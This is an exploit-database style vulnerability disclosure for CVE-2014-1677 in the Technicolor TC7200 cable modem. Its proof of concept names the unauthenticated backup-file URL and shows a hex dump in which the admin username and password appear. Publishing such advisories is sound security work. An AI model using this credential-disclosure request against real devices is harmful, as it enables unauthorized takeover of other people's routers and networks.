Technicolor TC7200 - Credentials Disclosure

2014-02-25 15:05:03

# Exploit Title: Technicolor TC7200: Authentication Bypass

# Google Dork: N/A

# Date: 24-02-2014

# Exploit Author: Jeroen - IT Nerdbox

# Vendor Homepage: http://www.technicolor.com/

# Software Link:
http://www.technicolor.com/en/solutions-services/connected-home/modems-gatew
ays/cable-modems-gateways/tc7200-tc7300

# Version: STD6.01.12

# Tested on: N/A

# CVE : CVE-2014-1677

#

## Description:

#

# Any user on the internal network can download a backup configuration file
without authenticating first. The backup file contains

# the credentials to the administrative web interface.

#

## PoC:

#

# Download the file: http://192.168.0.1/goform/system/GatewaySettings.bin

#

# Using the command: $ hexedit -C GatewaySettings.bin

#

# 00006590 00 00 00 00 00 00 00 00 30 4d 4c 6f 67 00 06 00
|........0MLog...|

# 000065a0 05 61 64 6d 69 6e 00 15 6d 79 73 75 70 65 72 73
|.admin..mysupers|

# 000065b0 65 63 72 65 74 70 61 73 73 77 6f 72 64 00 06 75
|ecretpassword..u|

# 000065c0 70 63 63 73 72 00 00
|pccsr..|

# 000065c7

#

#

# More information can be found at:
http://www.nerdbox.it/technicolor-tc7200-auth-bypass-dos/

Fixes

No fixes

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